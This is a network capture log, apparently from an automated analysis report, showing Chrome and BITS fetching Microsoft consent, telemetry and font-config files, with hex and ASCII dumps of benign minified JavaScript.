2024-11-16 19:12:49 UTC	16384	IN	Data Raw: 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 61 67 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 Data Ascii: ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageTags=function(e,t){var
2024-11-16 19:12:50 UTC	16384	IN	Data Raw: 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d 65 7c 7c 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 Data Ascii: otype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].name\|\|~t[n].name.indexOf
2024-11-16 19:12:50 UTC	16384	IN	Data Raw: 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 6c 69 63 65 22 2c 44 67 3d 22 74 6f 4c 6f 77 65 72 43 61 73 65 Data Ascii: en",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="splice",Dg="toLowerCase
2024-11-16 19:12:50 UTC	16384	IN	Data Raw: 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c 74 29 3a 28 72 3d 31 2c 69 3d 32 30 2c 34 3d 3d 3d 6e 26 26 28 Data Ascii: [lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,t):(r=1,i=20,4===n&&(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49764	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:12:49 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-16 19:12:49 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=77560 Date: Sat, 16 Nov 2024 19:12:49 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49768	13.107.246.45	443	2008	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:12:50 UTC	373	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-16 19:12:50 UTC	713	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:12:50 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 35801 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: b2b3bb0c-a01e-00e6-7808-389d67000000 x-ms-version: 2009-09-19 x-azure-ref: 20241116T191250Z-16547b76f7ffx24hhC1DFW9px400000002w00000000000k6 Accept-Ranges: bytes
2024-11-16 19:12:50 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-16 19:12:50 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-16 19:12:50 UTC	712	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-16 19:12:50 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-button
2024-11-16 19:12:50 UTC	3566	IN	Data Raw: 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 Data Ascii: "-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChang

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49769	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:12:50 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-16 19:12:51 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=77572 Date: Sat, 16 Nov 2024 19:12:50 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-16 19:12:51 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49772	13.107.246.67	443	2008	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:12:51 UTC	370	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-16 19:12:51 UTC	912	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:12:51 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: b909e3ec-f01e-00d4-7c8f-269d10000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241116T191251Z-16547b76f7fht2hfhC1DFWbngg00000003mg00000000bdr7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 19:12:51 UTC	15472	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-16 19:12:51 UTC	16384	IN	Data Raw: 5b 61 69 5d 28 69 29 3a 28 6e 3d 65 5b 22 6f 6e 22 2b 74 5d 29 3f 6e 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 Data Ascii: [ai](i):(n=e["on"+t])?n(i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state
2024-11-16 19:12:51 UTC	16384	IN	Data Raw: 2c 5b 65 2e 61 72 67 5d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 67 63 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c Data Ascii: ,[e.arg])})}function gc(e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll
2024-11-16 19:12:51 UTC	16384	IN	Data Raw: 63 28 29 2c 74 26 26 74 28 61 29 7d 29 7d 2c 66 29 2c 68 28 29 2c 6d 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 Data Ascii: c(),t&&t(a)})},f),h(),m(e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!"
2024-11-16 19:12:52 UTC	16384	IN	Data Raw: 5f 57 33 43 3a 31 2c 57 33 43 3a 32 7d 29 2c 6e 28 7b 4e 6f 72 6d 61 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e Data Ascii: _W3C:1,W3C:2}),n({Normal:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return
2024-11-16 19:12:52 UTC	16384	IN	Data Raw: 69 6d 65 29 7d 63 61 74 63 68 28 72 29 7b 48 6f 28 6f 2c 22 41 75 74 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e Data Ascii: ime)}catch(r){Ho(o,"Auto track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.
